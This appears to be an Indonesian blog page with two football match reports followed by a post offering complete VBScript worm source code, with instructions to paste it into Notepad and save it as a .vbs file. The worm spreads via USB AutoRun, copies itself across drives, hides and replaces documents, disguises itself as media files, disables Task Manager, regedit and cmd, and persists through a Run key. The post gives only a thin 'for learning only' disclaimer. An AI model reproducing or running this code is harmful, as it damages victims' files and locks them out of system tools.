Pavlyuchenko Pahlawan Spurs

Tottenham Hotspur (1) vs West Ham United (0)



Pemain pengganti Roman Pavlyuchenko berhasil memecah kebuntuan Tottenham Hotspur kala menggelar laga lanjutan Premier League di White Hart Line, Sabtu (11/4/2009) WIB. Ya, striker asal Rusia tersebut berhasil mencetak gol semata wayang Spurs atas West Ham United pada menit ke 65 untuk membawa kemenangan 1-0.



Kemenangan tersebut membawa Hotspur merangkak ke posisi ke 11 menyalip Bolton Wanderes. Sedangkan bagi The Hammers, kekalahan tidak mempengaruhi posisi mereka di peringkat tujuh klasemen sementara.


Pavlyuchenko yang masuk menggantikan striker Darent Bent pada menit ke 57 langsung menunjukan kemampuannya. Buktinya baru sepuluh menit masuk sebagai pemain pengganti, striker asal Rusia tersebut langsung mencetak gol usai dengan cerdik mengelabui pemain belakang West Ham James Collins sebelum menembakkan bola ke gawang The Hammers yang dikawal Robert Green.



Awal babak pertama Robbie Keane hampir saja mencetak gol bagi Hotspur. Tetapi pemain belakang West Ham James Collins berhasil menyapu bola sehingga bola keluar lapangan.



Memasuki menit ke-22, seharusnya Spurs mendapatkan hadiah penalti setelah pemain belakang James Collins menyentuh bola hasil tendangan Robbie Keane di dalam kotak penalti. Namun wasit berkehendak lain dan memutuskan bahwa itu bukan penalti.



West Ham bukannya tidak memperoleh peluang. Sayangnya, dua peluang emas yang seharusnya menjadi gol melalui striker mereka asal Italia David di Michele tidak dapat di manfaatkan dengan baik. Adalah Hilario Gomes mantan penjaga gawang PSV Eindoven yang mampu mementahkan peluang tersebut.



Hingga peluit panjang dibunyikan kedua tim tidak dapat mencetak gol tambahan. Hasil ini makin membuka peluang Hotspur untuk mendapatkan tiket Eropa musim depan.



Susunan Pemain



Tottenham: Gomes, Corluka, Woodgate, King, Assou-Ekotto, Lennon, Huddlestone, Jenas (Zokora 46), Modric, Bent (Pavlyuchenko 56), Keane. Subs Not Used: Cudicini, Bale, Bentley, Dawson, Chimbonda.



West Ham: Green, Collins, Tomkins (Nsereko 81), Upson, Ilunga, Stanislas, Neill, Noble, Boa Morte (Dyer 71), Tristan (Sears 85), Di Michele. Subs Not Used: Lastuvka, Lopez, Payne, N’Gala.

Read More(Baca Selengkapnya)......

Rooney Syukuri Hasil Imbang

Berita Bola: Manchester - Cuma bermain imbang di kandang sendiri harusnya jadi kerugian besar yang layak disesalkan Manchester United. Namun buat Wayne Rooney, hasil 2-2 atas FC Porto justru disyukurinya karena MU justru bisa dapat hasil lebih buruk.

Lebih diunggulkan untuk bisa lolos ke semifinal, MU tampil kurang meyakinkan di leg pertama babak perdelapan besar Liga Champions. Meski kemudian mampu balik memimpin setelah lebih dulu ketinggalan, The Red Devils ujung-ujungnya harus rela bermain imbang 2-2.


Kondisi tersebut jelas merugikan Paul Scholes dkk karena mereka harus menang atau paling tidak bermain imbang dengan agregat 3-3 untuk bisa melangkah ke babak semifinal. Namun Rooney justru mensyukuri hasil tersebut karena disebutnya MU bisa saja menelan kekalahan dalam laga yang dilangsungkan di Old Trafford, Rabu (8/4/2009) itu.

"Kami tahu kalau Porto adalah tim yang bagus. Kami punya video pertandingan mereka. Kami tahu akan seperti apa pertandingan, dan saya pikir kami seharusnya bisa menghadapi hal tersebut dengan lebih baik. Mereka punya rekor bagus di Eropa dan kami tahu apa yang seharusnya kami lakukan, tapi kenyataannya kami tak mampu menghadapinya. Sederhana saja," ungkap Rooney di Skysport.

"Syukurlah kalau pertandingan malam ini berakhir imbang karena hasilnya bisa saja lebih buruk lagi. Semoga kami bisa pergi ke sana (menjalani leg kedua) dan membuktikan kalau kami adalah tim yang baik dan bisa mendapatkan kemenangan," sambung striker yang mencetak gol pertama MU tersebut.

Lemahnya lini pertahanan MU dalam laga tersebut juga diakui oleh Rooney. Dalam pandangannya, kondisi tak solid di lini pertahanan banyak membantu Porto menguasai pertandingan dan kemudian membawa pulang hasil imbang 2-2.

"Kami menciptakan banyak masalah untuk kami sendiri sebagai sebuah tim dan Anda tak menginginkan hal tersebut. Jika sebuah tim melakukan hal yang hebat, itu bisa diterima, namun kami justru menciptakan masalah untuk kami sendiri dan semoga saja
kami bisa membuang hal itu (di pertandingan kedua)," pungkas Rooney. (dtc/din/krs)

Read More(Baca Selengkapnya)......

Membuat virus.vbs menggunakan Notepad

jika anda sering melakukan aktifitas dengan komputer dan sering melakukan pertukaran data lewat media penyimpanan pasti pernah berurusan dengan virus.Berikut ini adalah source kode sebuah virus yang di hasilkan oleh virus generator...pelajari secara seksama sebuah virus bekerja dan melakukan tugas-tugas yang di emban oleh si virus vbs ini.......
Jika sudah mengerti dan ingin mencobanya tinggal copas saja source di bawah ke notepad ,saimpan dengan pilihan save as kemudian beri nama dan tambah ext *.vbs
Ingat ...!!!!! ini haya untuk pembelajaran saja, kerusakan bukan tanggung jawab penulis...


-------------------------------------------------------------------------------------------------
Rem Soemingan3971486091

On Error Resume Next
Dim Reg, fso, Induk
Set Reg = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set Induk = fso.GetFile(Wscript.ScriptFullName)
If Induk <> Reg.SpecialFolders("AppData") & "\Soeparti.vbs" then
If fso.fileExists(Left(Induk, Len(Induk) - 4)) Then
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("mp3") & "\shell\Open\command\") & " " & chr(34) & Left(Induk, len(Induk)-3) & chr(34))
Else
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("mp3") & "\shell\Open\command\") & " " & chr(34) & chr(34))
End If
End If
AutoFlash
Sebar1
Sebar2
Samar
Pertahanan
ShortCut
SerangFile (Left(Induk, InStrRev(Induk, " \ ")))
SerangFolder (Left(Induk, InStrRev(Induk, " \ ")))
SerangDrive("c:\")
SerangDrive("d:\")
SerangDrive("e:\")
SerangDrive("f:\")
SerangDrive("g:\")
AlwaysRun
SerangRecent


Sub AutoFlash
On Error Resume Next
Dim flashdrive, auto, tf1, tf2
For Each flashdrive In fso.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
Set auto = fso.CreateTextFile(flashdrive.Path & ("\AutoRun.inf"), True)
auto.Write ("[autorun]"& vbcrlf & "shellexecute=wscript.exe Sumiati.vbs")
auto.Close
set tf1=fso.getfile(flashdrive.path & "\AutoRun.inf")
tf1.Attributes = 32
Induk.Copy (flashdrive.Path & "\Sumiati.vbs")
set tf2=fso.getfile(flashdrive.path & "\Sumiati.vbs")
tf2.Attributes = 32
End If
Next
End Sub

Sub SerangDrive (Lokasi)
On Error Resume Next
Dim drv
If fso.DriveExists(Lokasi) Then
Set drv = fso.GetDrive(fso.GetDriveName(Lokasi))
If drv.DriveType = 1 Or drv.DriveType = 2 Then
CopyVbs (Lokasi & "\Fatimah.vbs")
SerangFolder (Lokasi)
End If
End If
End Sub

Sub SerangFolder (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\Sudiro.vbs")
SerangFile (target)
SerangFolder2 (target)
Next
End Sub

Sub SerangFolder2 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\Sugeng.vbs")
SerangFile (target)
SerangFolder3 (target)
Next
End Sub

Sub SerangFolder3 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\Suwito.vbs")
SerangFile (target)
Next
End Sub

Sub SerangFile (Lokasi)
On Error Resume Next
Dim target
For Each target In fso.GetFolder(Lokasi).Files
If lcase(Right(target,3))="doc" then
if Left(target,2)<> "~$" then CopyVbs(target & ".vbs")
HilangFile (target)
End If
If lcase(Right(target,3))="xls" or lcase(Right(target,3))="ppt" or lcase(Right(target,3))="pdf" or lcase(Right(target,3))="rtf" or lcase(Right(target,3))="rar" or lcase(Right(target,3))="zip" or lcase(Right(target,3))="jpg" or lcase(Right(target,3))="gif" or lcase(Right(target,3))="bmp" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-3) & "vbs")
End If
If lcase(Right(target,4))="docx" or lcase(Right(target,4))="xlsx" or lcase(Right(target,4))="pptx" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-4) & "vbs")
End If
if lcase(Right(target,3))="vbs" then KillVBS(target)
Next
End sub

Sub Pertahanan
On Error Resume Next
Reg.RegWrite "HKCR\inffile\shell\Install\command\", "logoff.exe"
Reg.RegWrite "HKCR\regfile\shell\open\command\", "logoff.exe"
Reg.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "0", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileAssociate", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD", "1", "REG_DWORD"
Reg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableTaskMgr", "1", "REG_DWORD"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskMgr.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\attrib.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger","Notepad.exe"
End Sub

Sub Samar
On Error Resume Next
Dim HandleDoc, HandleVbs
HandleDoc = "HKEY_CLASSES_ROOT\" & BacaHandle("mp3")
HandleVbs = "HKEY_CLASSES_ROOT\" & BacaHandle("VBS")
Reg.RegWrite HandleVbs & "\", Reg.RegRead(HandleDoc & "\")
Reg.RegWrite HandleVbs & "\DefaultIcon\", Reg.RegRead(HandleDoc & "\DefaultIcon\")
Reg.RegWrite HandleVbs & "\NeverShowExt",""
Reg.RegWrite "HKCR\VBSFile\FriendlyTypeName", Reg.RegRead(HandleDoc & "\")
End Sub

Sub ShortCut
On Error Resume Next
Dim lnk, lok
lok = Reg.SpecialFolders("Favorites") & "\Soeparti.lnk"
Set lnk = Reg.CreateShortCut(lok)
Induk.Copy (Reg.SpecialFolders("AppData") & "\Soeparti.vbs")
lnk.TargetPath = Reg.ExpandEnvironmentStrings(Reg.SpecialFolders("AppData") & "\Soeparti.vbs")
lnk.Save
HilangFile (lok)
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Soeparti", lok
End Sub

Sub HilangFile (AlamatFile)
Dim f1
Set f1 = fso.GetFile(AlamatFile)
f1.Attributes = 6
End sub

Sub CopyVbs (Alamat)
On Error Resume Next
Dim data, ts, s, a, tf
Randomize
data = Left(Rnd(15) * 10000000000, 10)
Set ts = fso.openTextFile(Induk, 1)
a = ts.ReadAll
s = Right(a, Len(a) -25)
ts.Close
Set tf = fso.CreateTextFile(Alamat, True)
tf.WriteLine ("Rem Soemingan" & data)
tf.Write s
tf.Close
Set ts = fso.GetFile(Alamat)
ts.Attributes = 1
End sub

Function BacaHandle(TipeFile)
BacaHandle = reg.RegRead ("HKEY_CLASSES_ROOT\." & TipeFile & "\")
End Function

Sub KillVBS(alamat)
On Error Resume Next
Dim ts, s, i, a, b
Set ts = fso.openTextFile(alamat, 1)
s = ts.Readline
ts.Close
a = instr(s, "Soemingan")
If a = 0 Or a = "" Then
Set ts = fso.GetFile(alamat)
ts.Attributes = 0
Set ts = fso.openTextFile(Induk, 1)
i = ts.ReadAll
ts.Close
Set ts = fso.CreateTextfile(alamat, True)
ts.Write i
ts.Close
End If
End sub

sub AlwaysRun
On Error Resume Next
Dim mf, check
If Wscript.ScriptFullname = Reg.SpecialFolders("AppData") & "\Soeparti.vbs" then
Do
Set mf = fso.getfile(Wscript.ScriptFullname)
check = mf.Drive.drivetype
If check <> 1 Then Wscript.sleep 200000
Reg.run fso.getspecialfolder(0) & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
AutoFlash
Sebar1
SerangDrive("d:\")
SerangDrive("e:\")
Loop While check <> 1
End If
End sub

Sub Sebar1
dim nilai
nilai=Left(Reg.SpecialFolders("Desktop"),3) & "Windows\yuli.vbs"
CopyVBS (nilai)
HilangFile(nilai)
SerangFolder(Reg.SpecialFolders("MyDocuments"))
CopyVbs(Reg.SpecialFolders("NetHood") & "\Sutardi.vbs")
End Sub

Sub SerangRecent
On Error Resume Next
Dim target, ok
For Each target in fso.GetFolder(Reg.SpecialFolders("Recent")).Files
Set ok = reg.CreateShortCut(target)
if fso.FolderExists(ok.WorkingDirectory) then SerangFolder (ok.WorkingDirectory)
Next
End sub

Read More(Baca Selengkapnya)......